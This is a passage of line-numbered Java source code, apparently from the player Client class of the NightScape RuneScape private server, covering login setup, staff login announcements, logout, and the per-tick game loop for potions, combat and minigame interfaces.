  819. + ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[4])) * 0.4875));
  820. } else if (mag > attstr) {
  821. combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
  822. + ((getLevelForXP(playerXP[3])) * 0.25)
  823. + ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[6])) * 0.4875));
  824. } else {
  825. combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
  826. + ((getLevelForXP(playerXP[3])) * 0.25)
  827. + ((getLevelForXP(playerXP[5])) * 0.125)
  828. + ((getLevelForXP(playerXP[0])) * 0.325) + ((getLevelForXP(playerXP[2])) * 0.325));
  829. }
  830. }
  831.  
  832. public void sendMessage(String s) {
  833. // synchronized (this) {
  834. if (getOutStream() != null) {
  835. outStream.createFrameVarSize(253);
  836. outStream.writeString(s);
  837. outStream.endFrameVarSize();
  838. }
  839.  
  840. }
  841.  
  842. public void globalMessage(String message) {
  843. for (Player p : PlayerHandler.players) {
  844. if (p == null)
  845. continue;
  846. Client c = (Client) p;
  847. c.sendMessage(message);
  848. }
  849. }
  850.  
  851. public void setSidebarInterface(int menuId, int form) {
  852. // synchronized (this) {
  853. if (getOutStream() != null) {
  854. outStream.createFrame(71);
  855. outStream.writeWord(form);
  856. outStream.writeByteA(menuId);
  857. }
  858.  
  859. }
  860.  
  861. public void autoMessage(String q) {
  862. for (int j = 0; j < PlayerHandler.players.length; j++) {
  863. if (PlayerHandler.players[j] != null) {
  864. Client c2 = (Client) PlayerHandler.players[j];
  865. c2.sendMessage(q);
  866. }
  867. }
  868. }
  869.  
  870. public void joinHelpCC() {
  871. if (clan == null) {
  872. Clan localClan = Server.clanManager.getClan("Help");
  873. if (localClan != null)
  874. localClan.addMember(this);
  875. else if ("Help".equalsIgnoreCase(this.playerName))
  876. Server.clanManager.create(this);
  877.  
  878. inArdiCC = false;
  879. }
  880. }
  881. public void joinPvpHelpCC() {
  882. if (clan == null) {
  883. Clan localClan = Server.clanManager.getClan("Pvp Help");
  884. if (localClan != null)
  885. localClan.addMember(this);
  886. else if ("Pvp Help".equalsIgnoreCase(this.playerName))
  887. Server.clanManager.create(this);
  888.  
  889. inArdiCC = false;
  890. }
  891. }
  892. public static void handleWelcomeInterface(Client c) {
  893. c.getPA().showInterface(15244); //Problem is buttons do not show up with images. Pointless?
  894. c.getPA().sendFrame126("@bla@Welcome to NightScape!", 15257);
  895. c.getPA().sendFrame126("Owner: Night - Last connected from: "+ c.connectedFrom, 15258);
  896. if(c.hasRecov) {
  897. c.getPA().sendFrame126("@gre@Your account is secure.\\n You have set a recovery email.\\n Post a request on forums\\n in order to change your email.", 15259);
  898. } else {
  899. c.getPA().sendFrame126("@red@Your account is at risk.\\nPlease log in and use \\n::setemail EMAIL@HERE.COM!\\n That will protect your account\\nif you are hacked.", 15259);
  900. }
  901. c.getPA().sendFrame126("This will be used to send\\nmessages to you in the future.", 15260);
  902. if (c.setPin) {
  903. c.getPA().sendFrame126("@gre@Your bank is safe. \\nPlease log in and use \\n::setemail EMAIL@HERE.COM!\\n That will protect your account!", 15270);
  904. } else {
  905. c.getPA().sendFrame126("@red@Your bank is at risk. \\nWe suggest making a \\nbank pin to secure your bank\\n We are not responsible for hacked items!", 15270);
  906. }
  907. c.getPA().sendFrame126("None", 15261);
  908. if (c.playerRights == 4 || c.isDonator == 1) {
  909. c.getPA().sendFrame126("You're currently a Donator! \\nEnjoy the server with all your features!\\n Remember, you are awesome!", 15262);
  910. } else if (c.playerRights == 5 || c.isDonator == 2) {
  911. c.getPA().sendFrame126("You're currently an Extreme Donator! \\nEnjoy the server with all your features!\\n Remember, you are very awesome!", 15262);
  912. } else if (c.playerRights == 8 || c.isDonator == 3) {
  913. c.getPA().sendFrame126("You're currently a Legendary Donator! \\nEnjoy the server with your features!\\n Remember, you are super awesome!", 15262);
  914. } else {
  915. c.getPA().sendFrame126("You are not a Donator. \\nWe suggest you become one since it\\nHas huge benefits! A list\\ncan be found on the forums!", 15262);
  916. }
  917. c.getPA().sendFrame126("Play NightScape", 15263);
  918. }
  919.  
  920. @Override
  921. public void initialize() {
  922. UUID = RS2LoginProtocol.UUID;
  923.  
  924. //handleWelcomeInterface(this); //Above...
  925. getPA().sendFrame126("DDS + Whip", 669);
  926. writeStreamByte();
  927. PvPHandler.handleLogin(this);
  928. Server.lottery.checkUnclaimedWinners(this);
  929. // PlayersOnline.createCon();
  930. // PlayersOnline.online(this);
  931. //isIronMan = false;
  932.  
  933. if (!playerName.equalsIgnoreCase("tyler")) { //I log in and out too much to have this message.
  934. if (playerRights == 1) {
  935. for (int j = 0; j < PlayerHandler.players.length; j++) {
  936. if (PlayerHandler.players[j] != null) {
  937. Client c2 = (Client) PlayerHandler.players[j];
  938. c2.sendMessage("[@blu@Moderator@bla@] @cr1@@bla@ "
  939. + Misc.ucFirst(playerName) + " @blu@has logged in.");
  940. }
  941. }
  942. } else if(playerRights == 2) {
  943. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  944. if (Server.playerHandler.players[j] != null) {
  945. Client c2 = (Client)Server.playerHandler.players[j];
  946. c2.sendMessage("@yel@[Admin] @cr2@@whi@" +playerName+ "@bla@ has just logged in!");
  947. }
  948. }
  949. } else if(playerRights == 3) {
  950. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  951. if (Server.playerHandler.players[j] != null) {
  952. Client c2 = (Client)Server.playerHandler.players[j];
  953. c2.sendMessage("@red@[Owner] @cr2@@dre@" +playerName+ "@dre@ has just logged in.");
  954. }
  955. }
  956. } else if(playerRights == 5) {
  957. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  958. if (Server.playerHandler.players[j] != null) {
  959. Client c2 = (Client)Server.playerHandler.players[j];
  960. c2.sendMessage("@blu@[Extreme Donator] @cr4@@bla@" +playerName+ " has just logged in.");
  961. }
  962. }
  963. } else if(playerRights == 7) {
  964. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  965. if (Server.playerHandler.players[j] != null) {
  966. Client c2 = (Client)Server.playerHandler.players[j];
  967. c2.sendMessage("@blu@[Staff] @cr6@@whi@" +playerName+ "@blu@ has just logged in.");
  968. }
  969. }
  970. } else if(playerRights == 8) {
  971. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  972. if (Server.playerHandler.players[j] != null) {
  973. Client c2 = (Client)Server.playerHandler.players[j];
  974. c2.sendMessage("@pur@[Legendary Donator] @cr7@@pur@" +playerName+ "@bla@ has just logged in.");
  975. }
  976. }
  977. }
  978. }
  979. getPA().loadQuests();
  980. getPA().loadQuest2();
  981. getPA().sendFrame127(runEnergy + "%", 149);
  982. isFullHelm = Item.isFullHelm(playerEquipment[playerHat]);
  983. isFullMask = Item.isFullMask(playerEquipment[playerHat]);
  984. isFullBody = Item.isFullBody(playerEquipment[playerChest]);
  985. getPA().sendFrame36(173, isRunning2 ? 1 : 0);
  986. sendMessage("@bla@[@blu@Attention@bla@]:@red@Thanks for playing NightScape!");
  987. sendMessage("There are currently @red@"+ PlayerHandler.getPlayerCount() + " @bla@players online.");
  988. /**if (expLock == true) {
  989. sendMessage("Your experience is now locked. You will not gain experience.");
  990. } else {
  991. sendMessage("Your experience is now unlocked. You will gain experience.");
  992. }**/
  993. if (Config.SERVER_EXP_BONUS == 2) {
  994. sendMessage("@bla@[@blu@Attention@bla@]:@red@ Double experience is active.");
  995. }
  996. calcCombat();
  997. Pet.ownerLoggedIn(this);
  998. /*
  999. * if (playerRights != 3 || playerRights != 2) { Highscores.process(); }
  1000. */
  1001. outStream.createFrame(249);
  1002. outStream.writeByteA(1); // 1 for members, zero for free
  1003. outStream.writeWordBigEndianA(playerId);
  1004. for (int j = 0; j < PlayerHandler.players.length; j++) {
  1005. if (j == playerId)
  1006. continue;
  1007. if (PlayerHandler.players[j] != null) {
  1008. if (PlayerHandler.players[j].playerName
  1009. .equalsIgnoreCase(playerName))
  1010. disconnected = true;
  1011. }
  1012. }
  1013. // Connection.addIpToLoginList(this.getConnectedFrom());
  1014. for (int i = 0; i < 25; i++) {
  1015. getPA().setSkillLevel(i, playerLevel[i], playerXP[i]);
  1016. getPA().refreshSkill(i);
  1017. getPA().refreshSkill(21);
  1018. getPA().refreshSkill(22);
  1019. }
  1020. for (int p = 0; p < PRAYER.length; p++) { // reset prayer glows
  1021. prayerActive[p] = false;
  1022. getPA().sendFrame36(PRAYER_GLOW[p], 0);
  1023. }
  1024. getPA().handleWeaponStyle();
  1025. getPA().handleLoginText();
  1026. accountFlagged = getPA().checkForFlags();
  1027. getPA().sendFrame36(108, 0);// resets autocast button
  1028. getPA().sendFrame36(172, 1);
  1029. getPA().sendFrame107(); // reset screen
  1030. getPA().setChatOptions(0, 0, 0); // reset private messaging options
  1031. setSidebarInterface(1, 3917);
  1032. // setSidebarInterface(1, 31110);
  1033. setSidebarInterface(2, 638);
  1034. setSidebarInterface(3, 3213);
  1035. setSidebarInterface(4, 1644);
  1036. setSidebarInterface(5, 5608);
  1037. if (playerMagicBook == 0) {
  1038. setSidebarInterface(6, 1151); // modern
  1039. }
  1040. if (playerMagicBook == 1) {
  1041. setSidebarInterface(6, 12855); // ancient
  1042. }
  1043. if (playerMagicBook == 2) {
  1044. setSidebarInterface(6, 29999); // ancient
  1045. }
  1046. if (splitChat == false) {
  1047. getPA().sendFrame36(502, 0);
  1048. getPA().sendFrame36(287, 0);
  1049. }
  1050. if (splitChat == true) {
  1051. getPA().sendFrame36(502, 1);
  1052. getPA().sendFrame36(287, 1);
  1053. }
  1054. correctCoordinates();
  1055. setSidebarInterface(7, 18128);
  1056. setSidebarInterface(8, 5065);
  1057. setSidebarInterface(9, 5715);
  1058. setSidebarInterface(10, 2449);
  1059. // setSidebarInterface(7, 19017);
  1060. setSidebarInterface(11, 904); // wrench tab
  1061. setSidebarInterface(12, 147); // run tab
  1062. setSidebarInterface(13, 6299);
  1063. setSidebarInterface(0, 2423);
  1064. setSidebarInterface(15, 2449);
  1065. setSidebarInterface(16, 3213);
  1066. if (lastsummon > 0) {
  1067. Summoning().SummonNewNPC(lastsummon);
  1068. }
  1069. getPA().showOption(4, 0, "Follow", 4);
  1070. pvpTeleTimer = 0;
  1071. getPA().showOption(5, 0, "Trade with", 3);
  1072. getItems().resetItems(3214);
  1073. getItems().sendWeapon(playerEquipment[playerWeapon],
  1074. getItems().getItemName(playerEquipment[playerWeapon]));
  1075. getItems().resetBonus();
  1076. getItems().getBonus();
  1077. getItems().writeBonus();
  1078. getItems().setEquipment(playerEquipment[playerHat], 1, playerHat);
  1079. getItems().setEquipment(playerEquipment[playerCape], 1, playerCape);
  1080. getItems().setEquipment(playerEquipment[playerAmulet], 1, playerAmulet);
  1081. getItems().setEquipment(playerEquipment[playerArrows],
  1082. playerEquipmentN[playerArrows], playerArrows);
  1083. getItems().setEquipment(playerEquipment[playerChest], 1, playerChest);
  1084. getItems().setEquipment(playerEquipment[playerShield], 1, playerShield);
  1085. getItems().setEquipment(playerEquipment[playerLegs], 1, playerLegs);
  1086. getItems().setEquipment(playerEquipment[playerHands], 1, playerHands);
  1087. getItems().setEquipment(playerEquipment[playerFeet], 1, playerFeet);
  1088. getItems().setEquipment(playerEquipment[playerRing], 1, playerRing);
  1089. getItems().setEquipment(playerEquipment[playerWeapon],
  1090. playerEquipmentN[playerWeapon], playerWeapon);
  1091. getCombat().getPlayerAnimIndex(
  1092. getItems().getItemName(playerEquipment[playerWeapon])
  1093. .toLowerCase());
  1094. getPA().logIntoPM();
  1095. getItems().addSpecialBar(playerEquipment[playerWeapon]);
  1096. saveTimer = Config.SAVE_TIMER;
  1097. saveCharacter = true;
  1098. Misc.println("[Logged in]: " + playerName + "");
  1099. handler.updatePlayer(this, outStream);
  1100. handler.updateNPC(this, outStream);
  1101. flushOutStream();
  1102. getPA().resetFollow();
  1103. getPA().clearClanChat();
  1104. getPA().resetFollow();
  1105. getPA().setClanData();
  1106. Connection.appendStarters();
  1107. Connection.appendStarters2();
  1108. //DonationSystem.addDonateItems(this,playerName);
  1109. if (addStarter)
  1110. getPA().addStarter();
  1111. if(playerRights != 9) {
  1112. this.joinHelpCC();
  1113. } else if(isPvpMode) {
  1114. this.joinPvpHelpCC();
  1115. }
  1116. if (hasNpc == true) {
  1117. if (summonId == 4000) {
  1118. getItems().addItem(12653, 1);
  1119. }
  1120. if (summonId == 4003) {
  1121. getItems().addItem(12694, 1);
  1122. }
  1123. if (summonId == 4001) {
  1124. getItems().addItem(12650, 1);
  1125. }
  1126. if (summonId == 4005) {
  1127. getItems().addItem(12649, 1);
  1128. }
  1129. if (summonId == 4006) {
  1130. getItems().addItem(12652, 1);
  1131. }
  1132. if (summonId == 4007) {
  1133. getItems().addItem(12651, 1);
  1134. }
  1135. if (summonId == 4008) {
  1136. getItems().addItem(12643, 1);
  1137. }
  1138. if (summonId == 4009) {
  1139. getItems().addItem(12644, 1);
  1140. }
  1141. if (summonId == 4010) {
  1142. getItems().addItem(12645, 1);
  1143. }
  1144. if (summonId == 4011) {
  1145. getItems().addItem(15568, 1);
  1146. }
  1147. if (summonId == 4012) {
  1148. getItems().addItem(15566, 1);
  1149. }
  1150. if (summonId == 4016) {
  1151. getItems().addItem(15570, 1);
  1152. }
  1153. if (summonId == 4014) {
  1154. getItems().addItem(15562, 1);
  1155. }
  1156. if (summonId == 4015) {
  1157. getItems().addItem(15560, 1);
  1158. }
  1159. if (summonId == 4013) {
  1160. getItems().addItem(15564, 1);
  1161. }
  1162. if (summonId == 6305) {
  1163. getItems().addItem(12655, 1);
  1164. }
  1165. // Server.npcHandler.spawnNpc3(this, summonId, absX, absY-1,
  1166. // heightLevel, 0, 120, 25, 200, 200, true, false, true);
  1167. summonId = 0;
  1168. hasNpc = false;
  1169. this.sendMessage("Your pet has been added to your inventory.");
  1170. }
  1171. if (autoRet == 1)
  1172. getPA().sendFrame36(172, 1);
  1173. else
  1174. getPA().sendFrame36(172, 0);
  1175. }
  1176.  
  1177. public void RefreshAllSkills() {
  1178. for (int i = 0; i < 25; i++) {
  1179. getPA().setSkillLevel(i, playerLevel[i], playerXP[i]);
  1180. getPA().refreshSkill(i);
  1181. }
  1182. }
  1183.  
  1184. @Override
  1185. public void update() {
  1186. handler.updatePlayer(this, outStream);
  1187. handler.updateNPC(this, outStream);
  1188. flushOutStream();
  1189.  
  1190. }
  1191.  
  1192. public void wildyWarning() {
  1193. getPA().showInterface(1908);
  1194. }
  1195.  
  1196. public void logout() {
  1197. if (this.clan != null) {
  1198. this.clan.removeMember(this);
  1199. }
  1200. PvPHandler.handleLogout(this);
  1201. // PlayersOnline.createCon();
  1202. // PlayersOnline.online(this);
  1203.  
  1204. /*
  1205. * if (playerRights != 2) { Highscores.save(this); }
  1206. */
  1207.  
  1208. /*
  1209. * if (lastsummon > 0) { for (int i = 0; i < Server.npcHandler.maxNPCs;
  1210. * i++) { if (Server.npcHandler.npcs[i] != null) { if
  1211. * (Server.npcHandler.npcs[i].summon == true) { if
  1212. * (Server.npcHandler.npcs[i].spawnedBy == getId()) {
  1213. * Server.npcHandler.npcs[i].isDead = true;
  1214. * Server.npcHandler.npcs[i].applyDead = true;
  1215. * Server.npcHandler.npcs[i].summon = false; } } } } }
  1216. */
  1217. Connection.removeIpFromLoginList(this.getConnectedFrom());
  1218. if (duelStatus >= 1 && duelStatus <= 5) {
  1219. sendMessage("You cannot logout during a duel.");
  1220. //getTradeAndDuel().bothDeclineDuel();
  1221. saveCharacter = true;
  1222. return;
  1223. }
  1224. if (underAttackBy > 0 || underAttackBy2 > 0)
  1225. return;
  1226. // synchronized (this) {
  1227. if (System.currentTimeMillis() - logoutDelay > 10000) {
  1228. outStream.createFrame(109);
  1229. CycleEventHandler.getSingleton().stopEvents(this);
  1230. properLogout = true;
  1231. ConnectedFrom.addConnectedFrom(this, connectedFrom);
  1232. } else {
  1233. sendMessage("You must wait a few seconds from being out of combat to logout.");
  1234. }
  1235.  
  1236. }
  1237.  
  1238. public int packetSize = 0, packetType = -1;
  1239.  
  1240. @Override
  1241. public void process() {
  1242. getPA().sendFrame126("Players Online: " + PlayerHandler.getPlayerCount(), 29155);
  1243. /*
  1244. * if (inWild() && WildernessWarning == false) { resetWalkingQueue();
  1245. * getPA().resetFollow(); wildyWarning(); WildernessWarning = true; }
  1246. */
  1247.  
  1248. if (clawDelay > 0) {
  1249. clawDelay--;
  1250. }if (superCombat > 0) {
  1251. if (superCombat == 150) {
  1252. getPA().refreshSkill(3);
  1253. sendMessage("@red@The effects caused by your super combat potion are almost gone!");
  1254. }
  1255. if (superCombat == 600 || superCombat == 597 || superCombat == 595 || superCombat == 593 || superCombat == 591 || superCombat == 570 || superCombat == 540 || superCombat == 510 || superCombat == 480 || superCombat == 450 || superCombat == 420 || superCombat == 390 || superCombat == 360 || superCombat == 330 || superCombat == 300 || superCombat == 270 || superCombat == 240 || superCombat == 210 || superCombat == 180 || superCombat == 150 || superCombat == 120 || superCombat == 90 || superCombat == 60 || superCombat == 30) {
  1256. superCombat();
  1257. getPA().refreshSkill(3);
  1258. }
  1259. superCombat--;
  1260. if (superCombat == 0) {
  1261. sendMessage("Your super combat potion has worn off.");
  1262. //playerLevel[3] += 50;
  1263. if (playerLevel[3] > playerLevel[playerHitpoints]) {
  1264. playerLevel[3] = playerLevel[playerHitpoints];
  1265. }
  1266. getPA().refreshSkill(3);
  1267. playerLevel[0] = getLevelForXP(playerXP[0]);
  1268. playerLevel[1] = getLevelForXP(playerXP[1]);
  1269. playerLevel[2] = getLevelForXP(playerXP[2]);
  1270. playerLevel[4] = getLevelForXP(playerXP[4]);
  1271. playerLevel[6] = getLevelForXP(playerXP[6]);
  1272. superCombat = 0;
  1273. for (int i = 0; i <= 6 && i != 5; i++) {
  1274. getPA().refreshSkill(i);
  1275. }
  1276.  
  1277. }
  1278. }
  1279. if (overload > 0) {
  1280. if (overload == 600 || overload == 597 || overload == 595 || overload == 593 || overload == 591) {
  1281. overloadHit();
  1282. getPA().refreshSkill(3);
  1283. }
  1284. if (overload == 570 || overload == 540 || overload == 510 || overload == 480 || overload == 450 || overload == 420 || overload == 390 || overload == 360 || overload == 330 || overload == 300 || overload == 270 || overload == 240 || overload == 210 || overload == 180 || overload == 150 || overload == 120 || overload == 90 || overload == 60 || overload == 30) {
  1285. overload();
  1286. getPA().refreshSkill(3);
  1287. }
  1288. overload--;
  1289. if (overload == 0 || inWild()) {
  1290. sendMessage("The effects of the overload potion have worn off...");
  1291. //playerLevel[3] += 50;
  1292. if (playerLevel[3] > playerLevel[playerHitpoints]) {
  1293. playerLevel[3] = playerLevel[playerHitpoints];
  1294. }
  1295. getPA().refreshSkill(3);
  1296. playerLevel[0] = getLevelForXP(playerXP[0]);
  1297. playerLevel[1] = getLevelForXP(playerXP[1]);
  1298. playerLevel[2] = getLevelForXP(playerXP[2]);
  1299. playerLevel[4] = getLevelForXP(playerXP[4]);
  1300. playerLevel[6] = getLevelForXP(playerXP[6]);
  1301. overload = 0;
  1302. for (int i = 0; i <= 6 && i != 5; i++) {
  1303. getPA().refreshSkill(i);
  1304. }
  1305.  
  1306. }
  1307. }
  1308. if (clawDelay == 1) {
  1309. delayedDamage = (clawDamage / 4);
  1310. delayedDamage2 = (clawDamage / 4) + 1;
  1311. if (clawType == 2) {
  1312. getCombat().applyNpcMeleeDamage(clawIndex, 1, clawDamage / 4);
  1313. }
  1314. if (clawType == 1) {
  1315. getCombat()
  1316. .applyPlayerMeleeDamage(clawIndex, 1, clawDamage / 4);
  1317. }
  1318. if (clawType == 2) {
  1319. getCombat().applyNpcMeleeDamage(clawIndex, 2,
  1320. (clawDamage / 4) + 1);
  1321. }
  1322. if (clawType == 1) {
  1323. getCombat().applyPlayerMeleeDamage(clawIndex, 2,
  1324. (clawDamage / 4) + 1);
  1325. }
  1326. clawDelay = 0;
  1327. specEffect = 0;
  1328. previousDamage = 0;
  1329. usingClaws = false;
  1330. clawType = 0;
  1331. }
  1332. if (runEnergy < 100) {
  1333. if (System.currentTimeMillis() > getPA().getAgilityRunRestore(this)
  1334. + lastRunRecovery) {
  1335. runEnergy++;
  1336. lastRunRecovery = System.currentTimeMillis();
  1337. getPA().sendFrame126(runEnergy + "%", 149);
  1338. }
  1339. }
  1340. if (walkingToItem) {
  1341. if (getX() == pItemX && getY() == pItemY
  1342. || goodDistance(getX(), getY(), pItemX, pItemY, 1)) {
  1343. walkingToItem = false;
  1344. Server.itemHandler.removeGroundItem(this, pItemId, pItemX,
  1345. pItemY, true);
  1346. }
  1347. }
  1348. if (System.currentTimeMillis() - restoreStatsDelay > (zerkOn ? 90000
  1349. : 60000)) {
  1350. restoreStatsDelay = System.currentTimeMillis();
  1351. for (int level = 0; level < playerLevel.length; level++) {
  1352. if (playerLevel[level] < getLevelForXP(playerXP[level])) {
  1353. if (level != 5) { // prayer doesn't restore
  1354. playerLevel[level] += 1;
  1355. getPA().setSkillLevel(level, playerLevel[level],
  1356. playerXP[level]);
  1357. getPA().refreshSkill(level);
  1358. }
  1359. } else if (playerLevel[level] > getLevelForXP(playerXP[level])
  1360. && level != 3) {
  1361. playerLevel[level] -= 1;
  1362. getPA().setSkillLevel(level, playerLevel[level],
  1363. playerXP[level]);
  1364. getPA().refreshSkill(level);
  1365. }
  1366. }
  1367.  
  1368. getPotSmoking().processMunnchies();
  1369. }
  1370.  
  1371. if (System.currentTimeMillis() - duelDelay > 1000 && duelCount > 0) {
  1372. if (duelCount != 1) {
  1373. forcedChat("" + (--duelCount));
  1374. duelDelay = System.currentTimeMillis();
  1375. } else {
  1376. damageTaken = new int[Config.MAX_PLAYERS];
  1377. forcedChat("FIGHT!");
  1378. duelCount = 0;
  1379. }
  1380. }
  1381. if (System.currentTimeMillis() - specDelay > Config.INCREASE_SPECIAL_AMOUNT) {
  1382. specDelay = System.currentTimeMillis();
  1383. if (specAmount < 10) {
  1384. specAmount += 1;
  1385. if (specAmount > 10)
  1386. specAmount = 10;
  1387. getItems().addSpecialBar(playerEquipment[playerWeapon]);
  1388. }
  1389. }
  1390. /*if (isPvpMode) {
  1391. if (!inPvP()) {
  1392. pvpTeleTimer = 7;
  1393. }
  1394. }*/
  1395. if (yellTimer > 0) {
  1396. yellTimer--;
  1397. }
  1398. if(pvpnewtimer > 0) {
  1399. pvpnewtimer--;
  1400. if (pvpnewtimer == 0 && isPvpMode) {
  1401. sendMessage("@red@[ALERT]: @gre@You can now be attacked by other PvP mode Players!");
  1402. pvpnewtimer = 0;
  1403. }
  1404. }
  1405. //if (summonSpec > 0) {
  1406. //summonSpec--;
  1407. //}
  1408.  
  1409. if (followId > 0) {
  1410. getPA().followPlayer();
  1411. } else if (followId2 > 0) {
  1412. getPA().followNpc();
  1413. }
  1414. getCombat().handlePrayerDrain();
  1415. if (System.currentTimeMillis() - singleCombatDelay > 3300) {
  1416. underAttackBy = 0;
  1417. }
  1418. if (System.currentTimeMillis() - singleCombatDelay2 > 3300) {
  1419. underAttackBy2 = 0;
  1420. }
  1421. if (isPvpMode && !inSafeArea() && !inPcBoat() && !inPcGame()) {
  1422. //PvPHandler.handleInterfaces(this);
  1423. getPA().walkableInterface(197);
  1424. int modY = absY > 6400 ? absY - 6400 : absY;
  1425. areaLevel = "3-126";
  1426. if (Config.SINGLE_AND_MULTI_ZONES) {
  1427. if (inMulti()) {
  1428. getPA().sendFrame126("@red@" + areaLevel, 199);
  1429. } else {
  1430. getPA().sendFrame126("@red@" + areaLevel, 199);
  1431. }
  1432. } else {
  1433. getPA().multiWay(-1);
  1434. getPA().sendFrame126("@red@Level: " + areaLevel, 199);
  1435. }
  1436. getPA().showOption(3, 0, "Attack", 1);
  1437. } else if (isPvpMode && inSafeArea()) {
  1438. //PvPHandler.handleInterfaces(this);
  1439. getPA().walkableInterface(197);
  1440. int modY = absY > 6400 ? absY - 6400 : absY;
  1441. areaLevel = "SAFE";
  1442. if (Config.SINGLE_AND_MULTI_ZONES) {
  1443. if (inMulti()) {
  1444. getPA().sendFrame126("@gre@" + areaLevel, 199);
  1445. } else {
  1446. getPA().sendFrame126("@gre@" + areaLevel, 199);
  1447. }
  1448. } else {
  1449. getPA().multiWay(-1);
  1450. getPA().sendFrame126("@gre@" + areaLevel, 199);
  1451. }
  1452. getPA().showOption(3, 0, "null", 1); //Removes attack option in safe zone - Tyler @ Ryan
  1453. } else if (inWild()) {
  1454. PvPHandler.handleInterfaces(this);
  1455. // getPA().walkableInterface(197);
  1456. int modY = absY > 6400 ? absY - 6400 : absY;
  1457. wildLevel = (((modY - 3520) / 8) + 1);
  1458. if (Config.SINGLE_AND_MULTI_ZONES) {
  1459. if (inMulti()) {
  1460. getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
  1461. } else {
  1462. getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
  1463. }
  1464. } else {
  1465. getPA().multiWay(-1);
  1466. getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
  1467. }
  1468. getPA().showOption(3, 0, "Attack", 1);
  1469. } else if (inMithWild()) {
  1470. int modY = absY > 6400 ? absY - 6400 : absY;
  1471. wildMithLevel = 30;
  1472. getPA().walkableInterface(197);
  1473. getPA().multiWay(-1);
  1474. getPA().sendFrame126("@yel@Level: " + wildMithLevel, 199);
  1475. getPA().showOption(3, 0, "Attack", 1);
  1476. } else if (this.isInBarrows()) {
  1477. this.getPA().sendFrame126("Kill Count: " + this.barrowsKillCount,
  1478. 4536);
  1479. this.getPA().walkableInterface(4535);
  1480. this.getPA().showOption(3, 0, "null", 1);
  1481. this.getPA().showOption(2, 0, "null", 1);
  1482. } else if (inPcBoat()) {
  1483. getPA().sendFrame126(
  1484. "Next Departure: " + PestControl.waitTimer + "", 21120);
  1485. getPA().sendFrame126(
  1486. "Players Ready: " + PestControl.playersInBoat() + "", 21121);
  1487. getPA().sendFrame126("(Need 3 to 25 players)", 21122);
  1488. getPA().sendFrame126("Pest Points: " + pcPoints + "", 21123);
  1489. getPA().walkableInterface(21119);
  1490. } else if (inPcGame()) {
  1491. for (j = 0; j < NPCHandler.npcs.length; j++) {
  1492. if (NPCHandler.npcs[j] != null) {
  1493. if (NPCHandler.npcs[j].npcType == 6142) {
  1494. if (NPCHandler.npcs[j].isDead) {
  1495. getPA().sendFrame126("Dead", 21111);
  1496. } else
  1497. getPA().sendFrame126(
  1498. "" + NPCHandler.npcs[j].HP + "", 21111);
  1499. }
  1500. if (NPCHandler.npcs[j].npcType == 6143) {
  1501. if (NPCHandler.npcs[j].isDead) {
  1502. getPA().sendFrame126("Dead", 21112);
  1503. } else
  1504. getPA().sendFrame126(
  1505. "" + NPCHandler.npcs[j].HP + "", 21112);
  1506. }
  1507. if (NPCHandler.npcs[j].npcType == 6144) {
  1508. if (NPCHandler.npcs[j].isDead) {
  1509. getPA().sendFrame126("Dead", 21113);
  1510. } else
  1511. getPA().sendFrame126(
  1512. "" + NPCHandler.npcs[j].HP + "", 21113);
  1513. }
  1514. if (NPCHandler.npcs[j].npcType == 6145) {
  1515. if (NPCHandler.npcs[j].isDead) {
  1516. getPA().sendFrame126("Dead", 21114);
  1517. } else
  1518. getPA().sendFrame126(
  1519. "" + NPCHandler.npcs[j].HP + "", 21114);
  1520. }
  1521. }
  1522. }
  1523. getPA().sendFrame126("0", 21115);
  1524. if (pcDamage < 50) {
  1525. getPA().sendFrame126("@red@" + pcDamage + "", 21116);
  1526. } else {
  1527. getPA().sendFrame126("@gre@" + pcDamage + "", 21116);
  1528. }
  1529. getPA().sendFrame126(
  1530. "Time remaining: " + PestControl.gameTimer + "", 21117);
  1531. getPA().walkableInterface(21100);
  1532. } else if (inZombieWait()) {
  1533. getPA().sendFrame126("", 15894);
  1534. getPA().sendFrame126(" @gre@Nightmare Zone", 15895);
  1535. getPA().sendFrame126(
  1536. ZombieWaves.waitTimer < 0 ? "Game In Progress"
  1537. : "Next Departure: " + ZombieWaves.waitTimer, 15897);
  1538. getPA().sendFrame126(
  1539. "Players Ready: " + ZombieWaves.inZombieWaitCount(), 15898);
  1540. getPA().sendFrame126("NMZ Points: " + zmPoints, 15899);
  1541. getPA().sendFrame126("", 15896);
  1542. getPA().sendFrame126("", 15900);
  1543. getPA().sendFrame126("", 15901);
  1544. getPA().sendFrame126("", 15902);
  1545. getPA().sendFrame126("", 15903);
  1546. getPA().sendFrame126("", 15904);
  1547. getPA().sendFrame126("", 15905);
  1548. getPA().sendFrame126("", 15906);
  1549. getPA().walkableInterface(15892);
  1550. } else if (inZombieGame()) {
  1551. getPA().sendFrame126("", 15894);
  1552. getPA().sendFrame126(" @gre@Nightmare Zone", 15895);
  1553. getPA().sendFrame126("Wave Number " + ZombieWaves.zombieWaveId,
  1554. 15897);
  1555. getPA().sendFrame126("Bosses Left: " + ZombieWaves.zombieAmount,
  1556. 15898);
  1557. getPA().sendFrame126("NMZ Points: " + zmPoints, 15899);
  1558. getPA().sendFrame126("", 15896);
  1559. getPA().sendFrame126("", 15900);
  1560. getPA().sendFrame126("", 15901);
  1561. getPA().sendFrame126("", 15902);
  1562. getPA().sendFrame126("", 15903);
  1563. getPA().sendFrame126("", 15904);
  1564. getPA().sendFrame126("", 15905);
  1565. getPA().sendFrame126("", 15906);
  1566. getPA().walkableInterface(15892);
  1567. } else if (inDuelArena()) {
  1568. getPA().walkableInterface(201);
  1569. if (duelStatus == 5) {
  1570. getPA().showOption(3, 0, "Attack", 1);
  1571. } else {
  1572. getPA().showOption(3, 0, "Challenge", 1);
  1573. }
  1574. } else if (inCwGame || inPits) {
  1575. getPA().showOption(3, 0, "Attack", 1);
  1576. } else if (getPA().inPitsWait()) {
  1577. getPA().showOption(3, 0, "Null", 1);
  1578. } else if (!inCwWait) {
  1579. getPA().sendFrame99(0);
